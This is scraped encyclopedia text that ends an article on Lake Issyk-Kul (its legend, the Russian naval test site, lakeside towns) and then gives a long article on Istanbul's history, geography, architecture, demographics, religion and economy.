          Sevan trout, a fish endemic to Lake Sevan in Armenia, was introduced into Issyk-Kul in the 1970s. While this fish is an endangered species in its "home" lake, it has a much better chance to survive in Lake Issyk-Kul where it has ravaged the indigenous species.


          


          The Legend of its Creation


          In pre-Islamic legend, the king of the Ossounes had donkey's ears. He would hide them, and order each of his barbers killed to hide his secret. One barber yelled the secret into a well, but he didn't cover the well after. The well water rose and flooded the kingdom. The kingdom is today under the waters of Issyk-Kul. This is how the lake was formed, so legend says. Other legends say that four drowned cities lie at the bottom of the lake. Substantial archaeological finds indicating the presence of an advanced civilization in ancient times have been made in shallow waters of the lake.


          


          Russian Navy test site


          During the Soviet period, the Soviet Navy operated an extensive facility at the lake's eastern end, where submarine and torpedo technology was evaluated. In March 2008, Kyrgyz newspapers reported that 866 hectares around the Karabulan peninsula on the lake would be leased for an indefinite period to the Russian Navy, which is planning to establish new naval testing facilities as part of the 2007 bilateral Agreement on Friendship, Cooperation, Mutual Help, and Protection of Secret Materials. The Russian military will pay $4.5 million annually to lease the area.
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              Issyk Kul at sundown (2002)
            

          


          


          Lakeside towns


          Towns and some villages around the lake, listed clockwise from the lake's western tip:


          
            	Balykchy (the railhead at the western end of the lake)


            	Koshkol'


            	Tamchy


            	Cholpon-Ata (the capital of the north shore)


            	Karakol (the provincial capital near the eastern end of the lake)


            	Tyup, the port for Karakol


            	Barskon

          


          
            Retrieved from " http://en.wikipedia.org/wiki/Issyk_Kul"
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                    Emblem of the Istanbul Metropolitan Municipality
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Location of Istanbul on the Bosphorus Strait, Turkey
              
            


            
              	Coordinates:
            


            
              	Country

              	[image: Flag of Turkey]Turkey
            


            
              	Region

              	Marmara
            


            
              	Province

              	Istanbul
            


            
              	Founded

              	667BC as Byzantium
            


            
              	Roman/Byzantine period

              	AD330 as Nova Roma (original name given in 330 and used during Constantine's reign) and later Constantinople (following Constantine's death in 337)
            


            
              	Ottoman period

              	1453 as Konstantiniyye (in Ottoman Turkish), Constantinople (internationally) and various other names in local languages
            


            
              	Turkish Republic period

              	1923 as Istanbul (in Turkish) and Constantinople (internationally), renamed as Istanbul also in foreign languages following the Turkish Postal Service Law of March 28, 1930
            


            
              	Districts

              	27
            


            
              	Area
            


            
              	-Total

              	1,830.92km(706.9sqmi)
            


            
              	Elevation

              	100m (328ft)
            


            
              	Population (2007)
            


            
              	-Total

              	11,372,613 ( 3rd)
            


            
              	- Density

              	6,211/km(16,086.4/sqmi)
            


            
              	Time zone

              	EET ( UTC+2)
            


            
              	-Summer( DST)

              	EEST ( UTC+3)
            


            
              	Postal code

              	34010 to 34850 and

              80000 to 81800
            


            
              	Area code(s)

              	(+90) 212 (European side)

              (+90) 216 (Asian side)
            


            
              	Licenceplate

              	34
            


            
              	Website: Istanbul Portal
            

          


          
            
              	Historic Areas of Istanbul*
            


            
              	UNESCO World Heritage Site
            


            
              	StateParty

              	[image: Flag of Turkey]Turkey
            


            
              	Type

              	Cultural
            


            
              	Criteria

              	I, II, III, IV
            


            
              	Reference

              	356
            


            
              	Region**

              	Europe and North America
            


            
              	Inscription history
            


            
              	Inscription

              	1985 (9th Session)
            


            
              	* Name as inscribed on World Heritage List.

              ** Region as classified by UNESCO.
            

          


          Istanbul (historically Byzantium and later Constantinople; see the other names of Istanbul) is Europe's most populous city ( the world's 3rd largest city proper and 21st largest urban area) and Turkey's cultural and financial centre. The city covers 27 districts of the Istanbul province. It is located on the Bosphorus Strait and encompasses the natural harbour known as the Golden Horn, in the northwest of the country. It extends both on the European ( Thrace) and on the Asian ( Anatolia) side of the Bosphorus, and is thereby the only metropolis in the world which is situated on two continents. In its long history, Istanbul served as the capital city of the Roman Empire (330395), the East Roman (Byzantine) Empire (3951204 and 12611453), the Latin Empire (12041261), and the Ottoman Empire (14531922). The city was chosen as joint European Capital of Culture for 2010. The historic areas of Istanbul were added to the UNESCO World Heritage List in 1985.


          


          Names


          The modern Turkish name İstanbul ( IPA: [isˈtanbul] or colloquial [ɨsˈtanbul]) can be attested, in a range of different variants, from as far back as the 10th century; it has been the common name for the city in normal Turkish speech since before the conquest of 1453. Etymologically, it derives from the Greek phrase "ἰ ὴ ό" [istimˈbolin] or in the Aegean dialect "ἰ ὰ ό" [istamˈbolin] (modern Greek " ό" [stimˈboli]), which means "in the city", "to the city" or "downtown".


          Byzantium is the first known name of the city. When Roman emperor Constantine I (Constantine the Great) made the city the new eastern capital of the Roman Empire on May 11, 330, he conferred on it the name Nova Roma ("New Rome"). Constantinople ("City of Constantine") was the name by which the city became instead more widely known. It is first attested in official use under emperor Theodosius II (408450). It remained the principal official name of the city throughout the Byzantine period, and the most common name used for it in the West until the early 20th century.


          The city has also been nicknamed " The City on Seven Hills" because the historic peninsula, the oldest part of the city, was built on seven hills (just like Rome), each of which bears a historic mosque. The hills are represented in the city's emblem with seven triangles, above which rise four minarets. Two of many other old nicknames of Istanbul are Vasilevousa Polis (the Queen of Cities), which rose from the city's importance and wealth throughout the Middle Ages; and Dersaadet, originally Der-i Saadet (the Door to Happiness) which was first used towards the end of 19th century and is still remembered today.


          With the Turkish Postal Service Law of March 28, 1930, the Turkish authorities officially requested foreigners to adopt Istanbul as the sole name also in their own languages.


          


          History


          
            
              	

              	If the Earth were a single state, Istanbul would be its capital.

              	
            


            
              	
                Napoleon Bonaparte

              
            

          


          The first human settlement in Istanbul, the Fikirtepe mound on the Anatolian side, is from the Copper Age period, with artifacts dating from 55003500 BC. A port settlement dating back to the Phoenicians has been discovered in nearby Kadıky ( Chalcedon). Cape Moda in Chalcedon was the first location which the Greek settlers of Megara chose to colonize in 685 BC, prior to colonising Byzantion on the European side of the Bosphorus under the command of King Byzas in 667 BC. Byzantion was established on the site of an ancient port settlement named Lygos, founded by Thracian tribes between the 13th and 11th centuries BC, along with the neighbouring Semistra, of which Plinius had mentioned in his historical accounts. Only a few walls and substructures belonging to Lygos have survived to date, near the Seraglio Point ( Turkish: Sarayburnu), where the famous Topkapı Palace now stands. During the period of Byzantion, the Acropolis used to stand where the Topkapı Palace stands today.


          After siding with Pescennius Niger against the victorious Roman emperor Septimius Severus, the city was besieged by the Romans and suffered extensive damage in 196 AD. Byzantium was rebuilt by Severus and quickly regained its previous prosperity, being temporarily renamed as Augusta Antonina by the emperor, in honour of his son.
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              Panoramic view of the city in the 1870s as seen from the Galata Tower ( full image)
            

          


          The location of Byzantium attracted Constantine I in 324 after a prophetic dream was said to have identified the location of the city; but the true reason behind this prophecy was probably Constantine's final victory over Licinius at the Battle of Chrysopolis ( skdar) on the Bosphorus, on September 18, 324, which ended the civil war between the Roman Co-Emperors, and brought an end to the final vestiges of the Tetrarchy system, during which Nicomedia (present-day İzmit, 100km (62mi) east of Istanbul) was the most senior Roman capital city. Byzantium (now renamed as Nova Roma which eventually became Constantinopolis, i.e. "The City of Constantine") was officially proclaimed the new capital of the Roman Empire six years later, in 330. Following the death of Theodosius I in 395 and the permanent partition of the Roman Empire between his two sons, Constantinople became the capital of the Eastern Roman (Byzantine) Empire. As well as being the centre of an imperial dynasty, the unique position of Constantinople at the centre of two continents made the city a magnet for international commerce, culture and diplomacy. The Byzantine Empire was distinctly Greek in culture and became the centre of Greek Orthodox Christianity, while its capital was adorned with many magnificent churches, including the Hagia Sophia, once the world's largest cathedral. The seat of the Patriarch of Constantinople, spiritual leader of the Eastern Orthodox Church, still remains in the Fener (Greek: Phanar) district of Istanbul.


          In 1204, the Fourth Crusade was launched to capture Jerusalem, but had instead turned on Constantinople, which was sacked and desecrated. The city subsequently became the centre of the Catholic Latin Empire, created by the crusaders to replace the Orthodox Byzantine Empire, which was divided into a number of splinter states, of which the Empire of Nicaea was to recapture Constantinople in 1261 under the command of Michael VIII Palaeologus.


          


          In the last decades of the Byzantine Empire, the city had decayed as the Byzantine state became increasingly isolated and financially bankrupt, its population had dwindled to some thirty or forty thousand people whilst large sections remained uninhabited. Due to the ever increasing inward turn the Byzantines took, many facets of their surrounding empire were now falling apart, leaving them vulnerable to attack. Ottoman Turks began a strategy by which they took selected towns and smaller cities over time, enveloping Bursa in 1326, Nicomedia in 1337, Gallipoli in 1354, and finally Adrianople in 1362. This essentially cut off Constantinople from its main supply routes, strangling it slowly.


          On May 29, 1453, Sultan Mehmed II "the Conqueror" captured Constantinople after a 53-day siege and proclaimed that the city was now the new capital of his Ottoman Empire. Sultan Mehmed's first duty was to rejuvenate the city economically, creating the Grand Bazaar and inviting the fleeing Orthodox and Catholic inhabitants to return. Captured prisoners were freed to settle in the city whilst provincial governors in Rumelia and Anatolia were ordered to send four thousand families to settle in the city, whether Muslim, Christian or Jew, to form a unique cosmopolitan society. The Sultan also endowed the city with various architectural monuments, including the Topkapı Palace and the Eyp Sultan Mosque. Religious foundations were established to fund the construction of grand imperial mosques (such as the Fatih Mosque which was built on the spot where the Church of the Holy Apostles once stood), adjoined by their associated schools, hospitals and public baths. Suleiman the Magnificent's reign of the Ottoman Empire from 1520 to 1566 was a period of great artistic and architectural achievements. The famous architect Sinan designed many mosques and other grand buildings in the city, while Ottoman arts of ceramics and calligraphy also flourished.
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              Panoramic view of the historic peninsula of Istanbul, looking westwards from the southern entrance of the Bosporus at the Sea of Marmara. From left to right, the Sultan Ahmed Mosque, the Hagia Sophia and the Topkapı Palace are seen, along with the surviving sections of the Sea Walls of Constantinople. The Galata Tower is seen at the far right of the picture, across the Golden Horn. The arches and vaults of the Byzantine-era Mangana (Armoury) and the Hagios Georgios Monastery which was located inside it are seen between the Blue Mosque and the Hagia Sophia, near the shore. The dome of the Hagia Irene can be seen to the right of the Hagia Sophia.
            

          


          When the Republic of Turkey was founded in 1923 by Mustafa Kemal Atatrk, the capital was moved from Istanbul to Ankara. In the early years of the republic, Istanbul was overlooked in favour of the new capital Ankara. However, in the 1950s, Istanbul underwent great structural change, as new roads and factories were constructed throughout the city. Wide modern boulevards, avenues and public squares were built in Istanbul, sometimes at the expense of the demolition of many historical buildings. During the 1970s, the population of Istanbul began to rapidly increase as people from Anatolia migrated to the city in order to find employment in the many new factories that were constructed at the outskirts of the city. This sudden sharp increase in the population caused a rapid rise in housing development, and many previously outlying villages became engulfed into the greater metropolis of Istanbul. Illegal construction, combined with corner-cutting methods, have accounted for the reason why 65% of all of the buildings in Istanbul are not up to standard. The concerns have increased due to the serious nature of the Izmit earthquake of 1999.


          


          Geography
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              Istanbul and the Bosporus
            

          


          Istanbul is located in the north-west Marmara Region of Turkey. It encloses the southern Bosphorus which places the city on two continentsthe western portion of Istanbul is in Europe, while the eastern portion is in Asia. The city boundaries cover a surface area of 1,539square kilometres (594sqmi), while the metropolitan region, or the Province of Istanbul, covers 6,220square kilometres (2,402sqmi).


          


          Climate


          The city has a Mediterranean climate with hot and humid summers; and cool, rainy and often snowy winters. Humidity is generally rather high which can make temperatures feel much warmer or colder than they actually are. Yearly precipitation for Istanbul averages 640millimetres (25.2in). Snowfall is quite common, snowing for a week or two during the winter season, but it can be heavy once it snows. It is most likely to occur between the months of December and March. The summer months between June and September bring average daytime temperatures of 28 C (82 F). The warmest month is July with an average temperature of 23.3 C (74 F), the coldest is January with 5.6 C (42 F). The weather becomes slightly cooler as one moves toward eastern Istanbul. Summer is by far the driest season, although there is no real summer drought such as those occurring at Mediterranean climates or in the arid interior of Turkey. The city is quite windy, having an average wind speed of 17 km/h (11 mph).



          
            
              	Weather averages for Istanbul
            


            
              	Month

              	Jan

              	Feb

              	Mar

              	Apr

              	May

              	Jun

              	Jul

              	Aug

              	Sep

              	Oct

              	Nov

              	Dec

              	Year
            


            
              	Average high C

              	8

              	8

              	11

              	16

              	21

              	26

              	28

              	28

              	24

              	19

              	14

              	10

              	18
            


            
              	Average low C

              	3

              	3

              	4

              	8

              	12

              	17

              	19

              	19

              	16

              	13

              	8

              	6

              	11
            


            
              	Precipitation mm

              	94

              	71.1

              	58.4

              	43.2

              	30.5

              	22.9

              	17.8

              	15.2

              	27.9

              	53.3

              	88.9

              	101.6

              	640.1
            


            
              	Average high F

              	46

              	47

              	51

              	60

              	69

              	78

              	82

              	82

              	76

              	67

              	57

              	50

              	64
            


            
              	Average low F

              	37

              	37

              	40

              	47

              	54

              	62

              	66

              	67

              	61

              	55

              	47

              	42

              	51
            


            
              	Precipitation inches

              	3.7

              	2.8

              	2.3

              	1.7

              	1.2

              	0.9

              	0.7

              	0.6

              	1.1

              	2.1

              	3.5

              	4.0

              	25.2
            


            
              	Source: Weatherbase 2008-01-04
            

          


          


          Geology
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              Panoramic view of the Bosporus from the hills of the Ulus district
            

          


          Istanbul is situated near the North Anatolian fault line, which runs from northern Anatolia to the Marmara Sea. Two tectonic plates, the African and the Eurasian, push against each other here. This fault line has been responsible for several deadly earthquakes in the region throughout history. In 1509 a catastrophic earthquake caused a tsunami which broke over the sea-walls of the city, destroying over 100mosques and killing 10,000people. In 1766 the Eyp Sultan Mosque was largely destroyed. The 1894 earthquake caused the collapse of many parts of the Grand Bazaar. A devastating earthquake in August 1999, with its epicenter in nearby Kocaeli, left 18,000 dead and many more homeless. In all of these earthquakes, the devastating effects are a result of the close settlement and poor construction of buildings. Seismologists predict another earthquake, possibly measuring magnitude 7.0, occurring before 2025.


          


          Architecture


          Throughout its long history, Istanbul has acquired a reputation for being a cultural and ethnic melting pot. As a result, there are many historical mosques, churches, synagogues, palaces, castles and towers to visit in the city. Some of these historical structures, which draw millions to the city every year, reflect the heart and soul of Istanbul.
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              Maiden's (Leander's) Tower
            

          


          The famous Maiden's (Leander's) Tower, one of the symbols of Istanbul, was originally built by the ancient Athenian general Alcibiades in 408 BC to control the movements of the Persian ships in the Bosphorus strait. Back then it was located between the cities of Byzantion and Chrysopolis. The tower was later enlarged and rebuilt as a fortress by the Byzantine emperor Alexius Comnenus in 1110, and was rebuilt and restored several times by the Ottoman Turks, most significantly in 1509 and 1763.


          The most important monuments of Roman architecture in the city include the Column of Constantine ( Turkish: emberlitaş), which was erected in 330 by Constantine the Great for marking the declaration of the new capital city of the Roman Empire and contained several fragments of the True Cross and other artifacts belonging to Jesus Christ and Virgin Mary, the Mazulkemer Aqueduct, the Valens Aqueduct, the Column of the Goths at the Seraglio Point, the Milion which served for calculating the distances between Constantinople and other cities of the Roman Empire, and the Hippodrome of Constantinople which was built following the model of the Circus Maximus in Rome. Construction of the Walls of Constantinople began under Constantine the Great, who enlarged the previously existing walls of Byzantium in order to defend the new Roman capital city which quickly grew following its proclamation as Nova Roma. A new set of walls was built further west during the reign of Theodosius II, and rebuilt after an earthquake in 447 in their current shape.
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              Hagia Sophia
            

          


          The early Byzantine architecture followed the classical Roman model of domes and arches, but further improved these architectural concepts, as evidenced with the Hagia Sophia, which is the largest structure on Sultanahmet Square in the Eminn district. The Hagia Sophia was designed by Isidorus and Anthemius as the third church to rise on this location, between 532 and 537, following the Nika riots (532) during which the second church was destroyed (the first church, known as the Megala Ekklessia ("Great Church") was inaugurated by Constantius II in 360; the second church was inaugurated by Theodosius II in 405, while the third and current one was inaugurated by Justinian in 537). The Church of Saints Sergius and Bacchus (commonly known as the Little Hagia Sophia), which was the first church built by Justinian in Constantinople and edificed between 527 and 536, had earlier signaled such an improvement in the design of domed buildings, which require complex solutions for carrying the structure. The present-day Hagia Irene (which was originally built by Constantine in the 4th century, but was later enlarged by Justinian in the 6th century) and the Basilica Cistern are also from this period.
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              Galata Tower
            

          


          The most important churches which were built after the Byzantines recovered Constantinople from the Latin Crusaders in 1261 include the Pammakaristos Church and Chora Church. Also in this period, the Genoese Podest of Galata, Montano de Marinis, built the Palazzo del Comune (1314), a copy of the San Giorgio Palace in Genoa, which still stands in ruins on the back streets of Bankalar Caddesi in Galata, together with its adjacent buildings and numerous Genoese houses from the early 1300s. The Genoese also built the Galata Tower, which they named as Christea Turris (Tower of Christ), at the highest point of the citadel of Galata, in 1348.


          The Ottoman Turks built the Anadoluhisarı on the Asian side of the Bosphorus in 1394, and the Rumelihisarı at the opposite (European) shore, in 1452, a year before the conquest of Constantinople. The main purpose of these castles, armed with the long range Balyemez (Faule Metze) cannons, was to block the sea traffic of the Bosphorus and prevent the support ships from the Genoese colonies on the Black Sea ports, such as Caffa, Sinop, and Amasra, from reaching Constantinople and helping the Byzantines during the Turkish siege of the city.
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              Topkapı Palace
            

          


          Following the Ottoman conquest of the city, Sultan Mehmed II initiated a wide scale reconstruction plan, which included the construction of grand buildings such as the Eyp Sultan Mosque, Fatih Mosque, Topkapı Palace, the Grand Bazaar and the Yedikule (Seven Towers) Castle which guarded the main entrance gate of the city, the Porta Aurea (Golden Gate). In the centuries following Mehmed II, many new important buildings, such as the Sleymaniye Mosque, Sultanahmet Mosque, Yeni Mosque and numerous others were constructed. In the 18th and 19th centuries, traditional Ottoman architectural styles were gradually replaced by European styles, such as the Baroque style interiors of the Aynalıkavak Palace (16771679) and Nuruosmaniye Mosque (17481755, the first Baroque style mosque in the city, also famous for its Baroque fountain), and the 18th century Baroque additions to the Harem section of the Topkapı Palace. Following the Tanzimat reforms which effectively started Turkey's Europeanization process in 1839, new palaces and mosques were built in Neoclassical, Baroque and Rococo styles, or a mixture of all three, such as the Dolmabahe Palace, Beylerbeyi Palace and Ortaky (Mecidiye) Mosque.


          Starting from the early 19th century, the areas around İstiklal Avenue were filled with grandiose embassy buildings belonging to prominent European states, and rows of European (mostly Neoclassical and later Art Nouveau) style buildings started to appear on both flanks of the avenue. Istanbul especially became a major centre of the Art Nouveau movement in the late 19th and early 20th centuries, with famous architects of this style like Raimondo D'Aronco building many palaces and mansions in the city proper and on the Princes' Islands. His most important works in the city include several buildings of the Yıldız Palace complex, and the Botter House on İstiklal Avenue. The famous Camondo Stairs on Bankalar Caddesi (Banks Street) in Karaky ( Galata) is also a beautiful example of Art Nouveau architecture. Other important examples are the Hıdiv Kasrı (Khedive Palace) on the Asian side of the Bosphorus, Flora Han in Sirkeci, and Frej Apartmanı in the Şişhane quarter of Beyoğlu.


          


          Urbanism


          
            
              	
                

              
            


            
              	
                

              
            

          


          The urban landscape is constantly changing. In the Greek, Roman and Byzantine periods, the city was largely made up of the historic peninsula of Constantinople, with the citadel of Galata (also called Sykae or Pera) at north, and Chrysopolis ( skdar) and Chalcedon ( Kadıky) at east, across the Bosphorus. These were all independent cities back then. The present City of Istanbul can be considered the metropolitan area of old Constantinople, encompassing every single settlement around the original city, and expanding even further with the establishment of new neighbourhoods and districts since the 19th century.


          Until the early 19th century, the city walls of Galata, the medieval Genoese citadel, used to stand. These Genoese fortifications, of which only the Galata Tower stands today, were demolished in the early 1800s to give way for a northwards expansion of the city, towards the neighbourhoods of Beşiktaş, Şişli, Nişantaşı, and beyond.


          


          In the last decades, numerous tall structures were built around the city to accommodate a rapid growth in population. Surrounding towns were absorbed into Istanbul as the city rapidly expanded outwards. The tallest highrise office and residential buildings are mostly located in the northern areas of the European side, and especially in the business and shopping districts of Levent, Maslak, and Etiler which are situated between the Bosphorus Bridge and Fatih Sultan Mehmet Bridge. Levent and Etiler also have numerous upmarket shopping malls, like Kanyon, Metrocity, Akmerkez, Mayadrom and Mayadrom Uptown. The headquarters of Turkey's largest companies and banks are also located in this area.


          Starting from the second half of the 20th century, the Asian side of Istanbul, which was originally a tranquil place full of seaside summer residences and elegant chalet mansions surrounded by lush and vast umbrella pine gardens, experienced a massive urban growth. The construction of the long, wide and elegant Bağdat Avenue, with its rows of upscale shops and restaurants, contributed much to the initial expansion in the area. The fact that these areas were largely empty until the 1960s also provided the chance for developing better infrastructure and a tidier urban planning when compared with most other residential areas in the city. But the real expansion of the Asian side came with the opening of Ankara Asfaltı, the Asian extension of the E5 highway, which is located to the north of Bağdat Avenue, parallel to the railway line. Another important factor in the recent growth of the Asian side of the city was migration from Anatolia. Today, more than 1/3 of the city's population live in the Asian side of Istanbul.


          As a result of Istanbul's exponential growth during the second half of the 20th century, a significant portion of the city's outskirts consists of gecekondus, a Turkish word created in the 1940s meaning built overnight and referring to the illegally constructed squatter buildings that comprise entire neighbourhoods and run rampant outside the historic centers of Turkey's largest cities, especially Istanbul, Ankara, İzmir, and Bursa. At present, some gecekondu areas are being gradually demolished and replaced by modern mass-housing compounds.


          


          Administration


          


          Organization


          The mayor of Istanbul, currently Kadir Topbaş, serves as the prefect of the city, as well as governor of the province. Istanbul is a home rule city and municipal elections are mainly partisan. The metropolitan model of governance has been used with the establishment of metropolitan administration in 1930. The metropolitan council is responsible for all authority when it comes to making city decisions. The metropolitan government structure consists of three main organs: (1) The Metropolitan Mayor (elected every five years), (2) The Metropolitan Council (decision making body with the mayor, district Mayors, and one fifth of the district municipal councilors), (3) The metropolitan executive committee. There are three types of local authorities: (1) municipalities, (2) special provincial administrations, (3) village administrations. Among the local authorities, municipalities are gaining greater importance with the rise in urbanization.


          


          Districts
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              Asia
            


            
              Europe
            


            
              Black Sea
            


            
              Marmara Sea
            


            
              Adalar
            


            
              Avcılar
            


            
              Bağcılar
            


            
              Bahelievler
            


            
              Bakırky
            


            
              Bayrampaşa
            


            
              Beşiktaş
            


            
              Beyoğlu
            


            
              Bykekmece
            


            
              Beykoz
            


            
              atalca
            


            
              Eminn
            


            
              Eyp
            


            
              Esenler
            


            
              Fatih
            


            
              Gaziosmanpaşa
            


            
              Gngren
            


            
              Kadıky
            


            
              Kağıthane
            


            
              Kartal
            


            
              Kkekmece
            


            
              Maltepe
            


            
              Pendik
            


            
              Sarıyer
            


            
              Silivri
            


            
              Sultanbeyli
            


            
              Şile
            


            
              Şişli
            


            
              Tuzla
            


            
              mraniye
            


            
              skdar
            


            
              Zeytin-

              burnu
            

          


          Istanbul Province has 32 districts, of which 27 form the city proper of Istanbul, also called Greater Istanbul, administered by the Istanbul Metropolitan Municipality (or Municipality of Metropolitan Istanbul) ( Turkish: İstanbul Bykşehir Belediyesi. These city districts, each of which forms a municipality with an elected mayor and council, can be grouped into three main areas: (1) the historic peninsula, (2) the areas north of the Golden Horn, and (3) the Asian side.


          The historic peninsula of old Istanbul corresponds approximately to the extent of Constantinople in the 15th century; it comprises the districts of Eminn and Fatih. This area lies on the southern shores of the Golden Horn, which separates the old city centre from the northern and younger parts of the European side. The historic peninsula ends with the Theodosian Land Walls in the west. The peninsula is surrounded by the Sea of Marmara on the south and the entrance of the Bosphorus on the east.


          North of the Golden Horn are the historical Beyoğlu and Beşiktaş districts, where the last Sultan's palace is located, followed by a chain of former villages such as Ortaky and Bebek along the shores of the Bosphorus. On both the European and Asian sides of the Bosphorus, wealthy Istanbulites built luxurious chalet mansions, called yalı, which were used as summer residences.


          The quarters of skdar ( Chrysopolis) and Kadıky ( Chalcedon) which are located on the Asian side were originally independent cities, like Beyoğlu ( Pera) also used to be. Today they are full of modern residential areas and business districts, and are home to around one-third of Istanbul's population.


          


          Demographics
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          The city of Istanbul has a population of 11,372,613residents according to the latest count as of 2007, and is one of the largest cities in Europe today. Currently Istanbul has 54municipalities, and stretches over an area of about 65miles (approximately 100km). The rate of population growth in the city is currently at 3.45% a year on average, mainly due to the influx of people from the surrounding rural areas. Istanbul's population density of 2,742people per square mile (1,700 per square km) far exceeds Turkey's 130people per square mile (81people per square km).


          
            
              	
                
                  
                    	Year

                    	Population
                  


                  
                    	330

                    	40,000
                  


                  
                    	400

                    	400,000
                  


                  
                    	530

                    	550,000
                  


                  
                    	545

                    	350,000
                  


                  
                    	715

                    	300,000
                  


                  
                    	950

                    	400,000
                  


                  
                    	1200

                    	150,000
                  


                  
                    	1453

                    	36,000
                  

                

              

              	
                
                  
                    	Year

                    	Population
                  


                  
                    	1477

                    	14.803
                  


                  
                    	1566

                    	600,000
                  


                  
                    	1817

                    	500,000
                  


                  
                    	1860

                    	715,000
                  


                  
                    	1885

                    	873,570
                  


                  
                    	1890

                    	874,000
                  


                  
                    	1897

                    	1,059,000
                  


                  
                    	1901

                    	942,900
                  

                

              

              	
                
                  
                    	Year

                    	Population
                  


                  
                    	1914

                    	909,978
                  


                  
                    	1927

                    	680,857
                  


                  
                    	1935

                    	741,148
                  


                  
                    	1940

                    	793,949
                  


                  
                    	1945

                    	860,558
                  


                  
                    	1950

                    	983,041
                  


                  
                    	1955

                    	1,268,771
                  


                  
                    	1960

                    	1,466,535
                  

                

              

              	
                
                  
                    	Year

                    	Population
                  


                  
                    	1965

                    	1,742,978
                  


                  
                    	1970

                    	2,132,407
                  


                  
                    	1975

                    	2,547,364
                  


                  
                    	1980

                    	2,772,708
                  


                  
                    	1985

                    	5,475,982
                  


                  
                    	1990

                    	6,629,431
                  


                  
                    	2000

                    	8,803,468
                  


                  
                    	2007

                    	11,372,613
                  

                

              
            

          


          


          Religion
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              Sultan Ahmed Mosque, one of the famous mosques of Turkey.
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              Hagia Sophia - A former church then mosque, now a museum.
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          The urban landscape of Istanbul is shaped by many communities. Among all major religions that are practiced in the city, the one with the most populous community is Islam. The first mosque in Istanbul was built in Kadıky (ancient Chalcedon) on the Asian side, in the mid 14th century; a full century before the conquest of Constantinople across the Bosporus, on the European side, by the Ottoman Turks in 1453. The first mosque on the European side of Istanbul was built inside the Rumeli Castle in 1452. The first grand mosque which was built in the city proper was the Eyp Sultan Mosque in around 1459. The mosque was built on the site of the grave of Abu Ayyub al-Ansari, a companion of the Prophet Muhammad who had died fighting in the Arab army in a siege to take the city in 669, making Istanbul one of the holy cities of Islam. The first imperial mosque inside the city walls was the Fatih Mosque (1470) which was built on the site of the Church of the Holy Apostles, an important Byzantine church which was originally edificed in the time of Constantine the Great. Many other imperial mosques were built in the following centuries, such as the famous Sleymaniye Mosque (1557) which was ordered by Suleiman the Magnificent and designed by the great Ottoman architect Sinan, and the famous Sultan Ahmet Mosque (1616) which is also known as the Blue Mosque for the blue tiles which adorn its interior.


          Istanbul was the final seat of the Islamic Caliphate, between 1517 and 1924. The personal belongings of Mohammed and the earliest Caliphs who followed him are today preserved in the Topkapı Palace, the Eyp Sultan Mosque and in several other prominent mosques of Istanbul. The seat of the Patriarch of Constantinople, spiritual leader of the Greek Orthodox Church is located in the Fener ( Greek: ά) district. Also based in Istanbul are the archbishop of the Turkish-Orthodox community, an Armenian archbishop, and the Turkish Grand- Rabbi.


          According to the 2000 census, there were 2691active mosques, 123active churches and 26active synagogues in Istanbul; as well as 109 Muslim cemeteries and 57non-Muslim cemeteries. Religious minorities include Greek Orthodox Christians, Armenian Christians, Catholic Levantines and Sephardic Jews. Some neighbourhoods have sizeable populations of these ethnic groups, such as the Kumkapı neighbourhood, which has a sizeable Armenian population, the Balat neighbourhood, which has a sizeable Jewish population, the Fener neighbourhood which has a sizeable Greek population, and some neighbourhoods in Nişantaşı and Beyoğlu, which have sizeable Levantine populations. In some quarters, such as Kuzguncuk, an Armenian church sits next to a synagogue, and on the other side of the road a Greek Orthodox church is found beside a mosque.
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          Historically, Istanbul has been the centre of the country's economic life because of its location as an international junction of land and sea trade routes. In 2005 the City of Istanbul had a GDP of $133 billion. In 2005 companies based in Istanbul made exports worth $41,397,000,000 and imports worth $69,883,000,000; which corresponded to 56.6% and 60.2% of Turkey's exports and imports, respectively, in that year. According to Forbes magazine, Istanbul had a total of 35 billionaires as of March 2008 (up from 25 in 2007), ranking 4th in the world behind Moscow (74 billionaires), New York City (71 billionaires) and London (36 billionaires), while ranking above Hong Kong (30 billionaires), Los Angeles (24 billionaires), Mumbai (20 billionaires), San Francisco (19 billionaires), Dallas (15 billionaires) and Tokyo (15 billionaires).


          Istanbul has always been the financial capital of Turkey and the opening of specific markets in the city during the 1980s further strengthened this status. Inaugurated at the beginning of 1986, the Istanbul Stock Exchange (ISE) is the sole securities market of Turkey, established to provide trading in equities, right coupons, Government bonds, Treasury bills, revenue sharing certificates, bonds issued by the Privatization Administration and corporate bonds, and to carry out overnight transactions. In 1993 the ISE decided on gold market liberalization, and in 1995 the Istanbul Gold Exchange was established, which ended the gold bullion imports monopoly of the Turkish Central Bank and transferred it to the private sector members of the gold exchange.


          Istanbul is also Turkey's largest industrial centre. It employs approximately 20% of Turkey's industrial labor and contributes 38% of Turkey's industrial workspace. In addition, the city generates 55% of Turkey's trade and 45% of the country's wholesale trade, and generates 21.2% of Turkey's gross national product. Istanbul contributes 40% of all taxes collected in Turkey and produces 27.5% of Turkey's national product. Istanbul and its surrounding province produce cotton, fruit, olive oil, silk, and tobacco. Food processing, textile production, oil products, rubber, metal ware, leather, chemicals, pharmaceuticals, electronics, glass, machinery, automotive, transport vehicles, paper and paper products, and alcoholic drinks are among the city's major industrial products.


          Istanbul is one of the most important tourism spots of Turkey. There are thousands of hotels and other tourist oriented industries in the city, catering to both vacationers and visiting professionals. In 2006 a total of 23,148,669 tourists visited Turkey, most of whom entered the country through the airports and seaports of Istanbul and Antalya. The total number of tourists who entered Turkey through Atatrk International Airport and Sabiha Gken International Airport in Istanbul reached 5,346,658, rising from 4,849,353 in 2005. Istanbul is also one of the world's major conference destinations and is an increasingly popular choice for the world's leading international associations.


          


          


          Infrastructure


          


          Health and medicine


          The city has many public and private hospitals, clinics and laboratories within its bounds and numerous medical research centers. Many of these facilities have high technology equipment, which has contributed to the recent upsurge in "medical tourism" to Istanbul, particularly from West European countries like the United Kingdom and Germany where governments send patients with lower income to the city for the relatively inexpensive service of high-tech medical treatment and operations. Istanbul has particularly become a global destination for laser eye surgery and plastic surgery. The city also has an Army Veterans Hospital in the military medical centre.


          Pollution-related health problems increase especially in the winter, when the combustion of heating fuels increase. The rising number of new cars in the city and the slow development of public transportation often cause urban smog conditions. Mandatory use of unleaded gas was scheduled to begin only in January 2006.
